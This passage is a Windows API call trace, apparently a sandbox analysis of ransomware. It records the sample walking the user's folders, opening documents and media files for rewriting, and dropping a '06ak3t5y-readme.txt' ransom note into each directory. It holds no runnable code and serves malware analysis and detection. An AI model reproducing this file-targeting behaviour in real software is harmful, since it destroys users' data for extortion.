returned=".docx" [0110.874] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\uEWQ Dy-Fw0wiatk6.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uewq dy-fw0wiatk6.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x388 [0110.875] CreateIoCompletionPort (FileHandle=0x388, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.875] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4633898) returned 1 [0110.875] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32442a0, ftCreationTime.dwHighDateTime=0x1d7426c, ftLastAccessTime.dwLowDateTime=0x500de510, ftLastAccessTime.dwHighDateTime=0x1d74a61, ftLastWriteTime.dwLowDateTime=0x500de510, ftLastWriteTime.dwHighDateTime=0x1d74a61, nFileSizeHigh=0x0, nFileSizeLow=0xdb39, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Xhy8G8l_DiYgdEinCs86.pptx", cAlternateFileName="XHY8G8~1.PPT")) returned 1 [0110.875] PathFindExtensionW (pszPath="xhy8g8l_diygdeincs86.pptx") returned=".pptx" [0110.876] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Xhy8G8l_DiYgdEinCs86.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\xhy8g8l_diygdeincs86.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x38c [0110.877] CreateIoCompletionPort (FileHandle=0x38c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.877] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x464a8d8) returned 1 [0110.877] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60010a80, ftCreationTime.dwHighDateTime=0x1d75130, ftLastAccessTime.dwLowDateTime=0x4c7a0c10, ftLastAccessTime.dwHighDateTime=0x1d7553a, ftLastWriteTime.dwLowDateTime=0x4c7a0c10, ftLastWriteTime.dwHighDateTime=0x1d7553a, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="y1Uz_.odt", cAlternateFileName="")) returned 1 [0110.877] PathFindExtensionW (pszPath="y1uz_.odt") returned=".odt" [0110.877] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\y1Uz_.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\y1uz_.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x390 [0110.879] CreateIoCompletionPort (FileHandle=0x390, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.879] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38f84d0) returned 1 [0110.879] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49ec3990, ftCreationTime.dwHighDateTime=0x1d7513a, ftLastAccessTime.dwLowDateTime=0xab25a100, ftLastAccessTime.dwHighDateTime=0x1d75181, ftLastWriteTime.dwLowDateTime=0xab25a100, ftLastWriteTime.dwHighDateTime=0x1d75181, nFileSizeHigh=0x0, nFileSizeLow=0x160d9, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="yJSmVxafx.pdf", cAlternateFileName="YJSMVX~1.PDF")) returned 1 [0110.879] PathFindExtensionW (pszPath="yjsmvxafx.pdf") returned=".pdf" [0110.880] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\yJSmVxafx.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\yjsmvxafx.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x394 [0110.881] CreateIoCompletionPort (FileHandle=0x394, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.881] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4658570) returned 1 [0110.882] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2cacd0, ftCreationTime.dwHighDateTime=0x1d72c4f, ftLastAccessTime.dwLowDateTime=0x5dc0f890, ftLastAccessTime.dwHighDateTime=0x1d74f4e, ftLastWriteTime.dwLowDateTime=0x5dc0f890, ftLastWriteTime.dwHighDateTime=0x1d74f4e, nFileSizeHigh=0x0, nFileSizeLow=0xd60f, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="yruBBVRJKY.pptx", cAlternateFileName="YRUBBV~1.PPT")) returned 1 [0110.882] PathFindExtensionW (pszPath="yrubbvrjky.pptx") returned=".pptx" [0110.882] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\yruBBVRJKY.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\yrubbvrjky.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x398 [0110.884] CreateIoCompletionPort (FileHandle=0x398, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.884] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x466e7a8) returned 1 [0110.884] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30dabf10, ftCreationTime.dwHighDateTime=0x1d72cd4, ftLastAccessTime.dwLowDateTime=0xa94ebe60, ftLastAccessTime.dwHighDateTime=0x1d73fcb, ftLastWriteTime.dwLowDateTime=0xa94ebe60, ftLastWriteTime.dwHighDateTime=0x1d73fcb, nFileSizeHigh=0x0, nFileSizeLow=0x11b8b, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Z t_Z1agjCu.xlsx", cAlternateFileName="ZT_Z1A~1.XLS")) returned 1 [0110.884] PathFindExtensionW (pszPath="z t_z1agjcu.xlsx") returned=".xlsx" [0110.885] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Z t_Z1agjCu.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\z t_z1agjcu.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x39c [0110.887] CreateIoCompletionPort (FileHandle=0x39c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.887] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x467bf10) returned 1 [0110.887] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30dabf10, ftCreationTime.dwHighDateTime=0x1d72cd4, ftLastAccessTime.dwLowDateTime=0xa94ebe60, ftLastAccessTime.dwHighDateTime=0x1d73fcb, ftLastWriteTime.dwLowDateTime=0xa94ebe60, ftLastWriteTime.dwHighDateTime=0x1d73fcb, nFileSizeHigh=0x0, nFileSizeLow=0x11b8b, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="z t_z1agjcu.xlsx", cAlternateFileName="ZT_Z1A~1.XLS")) returned 0 [0110.887] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.887] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2067130) returned 1 [0110.887] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402e0) returned 1 [0110.887] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Downloads\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c45e60, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c45e60, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.887] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c45e60, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c45e60, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.888] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c45e60, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c45e60, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c48570, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.888] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.888] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.888] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.888] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2067180) returned 1 [0110.888] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040150) returned 1 [0110.888] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c48570, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c48570, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.888] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c48570, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c48570, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.889] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c48570, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c48570, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c4d390, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.889] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fe350, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.889] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xcee0b100, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Links", cAlternateFileName="")) returned 1 [0110.889] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Links\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\favorites\\links\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.889] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0d80) returned 1 [0110.889] WriteFile (in: hFile=0x3a0, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.890] CloseHandle (hObject=0x3a0) returned 1 [0110.891] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0110.891] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.892] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078200) returned 1 [0110.892] WriteFile (in: hFile=0x3a0, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.893] CloseHandle (hObject=0x3a0) returned 1 [0110.893] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0110.894] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.895] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9870) returned 1 [0110.895] WriteFile (in: hFile=0x3a0, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.896] CloseHandle (hObject=0x3a0) returned 1 [0110.896] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0110.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.897] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9870) returned 1 [0110.897] WriteFile (in: hFile=0x3a0, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.898] CloseHandle (hObject=0x3a0) returned 1 [0110.898] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="windows live", cAlternateFileName="WINDOW~1")) returned 0 [0110.898] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.899] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3687208) returned 1 [0110.899] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401e0) returned 1 [0110.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Links\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c4d390, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c4d390, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.899] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c4d390, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c4d390, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.899] PathFindExtensionW (pszPath="desktop.lnk") returned=".lnk" [0110.899] PathFindExtensionW (pszPath="downloads.lnk") returned=".lnk" [0110.901] PathFindExtensionW (pszPath="onedrive.lnk") returned=".lnk" [0110.901] PathFindExtensionW (pszPath="recentplaces.lnk") returned=".lnk" [0110.901] PathFindExtensionW (pszPath="3mxvqj-gzearjkonkb_.mp3") returned=".mp3" [0110.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\3MXvqj-GZEArJKONkb_.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\3mxvqj-gzearjkonkb_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3a0 [0110.903] CreateIoCompletionPort (FileHandle=0x3a0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.903] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x468dbf8) returned 1 [0110.903] PathFindExtensionW (pszPath="69r y8_shb.mp3") returned=".mp3" [0110.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\69r Y8_shB.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\69r y8_shb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3a4 [0110.904] CreateIoCompletionPort (FileHandle=0x3a4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.904] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x459dbf8) returned 1 [0110.905] PathFindExtensionW (pszPath="bidq-d.m4a") returned=".m4a" [0110.905] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\biDq-D.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\bidq-d.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3a8 [0110.906] CreateIoCompletionPort (FileHandle=0x3a8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.906] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4690718) returned 1 [0110.907] PathFindExtensionW (pszPath="dcyh_q8 rpkvygzlk m.wav") returned=".wav" [0110.907] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\dCyh_q8 rpkVYgZLK m.wav" (normalized: "c:\\users\\keecfmwgj\\music\\dcyh_q8 rpkvygzlk m.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3ac [0110.908] CreateIoCompletionPort (FileHandle=0x3ac, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.908] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x46996a0) returned 1 [0110.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.909] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078200) returned 1 [0110.909] WriteFile (in: hFile=0x3b0, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.910] CloseHandle (hObject=0x3b0) returned 1 [0110.911] PathFindExtensionW (pszPath="frpwp6s.wav") returned=".wav" [0110.912] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\FrpwP6s.wav" (normalized: "c:\\users\\keecfmwgj\\music\\frpwp6s.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3b0 [0110.913] CreateIoCompletionPort (FileHandle=0x3b0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.913] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x46a0d60) returned 1 [0110.913] PathFindExtensionW (pszPath="fsf1idqovtockeohieu.m4a") returned=".m4a" [0110.914] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\fSf1idQOVtocKEOHiEU.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fsf1idqovtockeohieu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3b4 [0110.915] CreateIoCompletionPort (FileHandle=0x3b4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.915] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x46b8460) returned 1 [0110.915] PathFindExtensionW 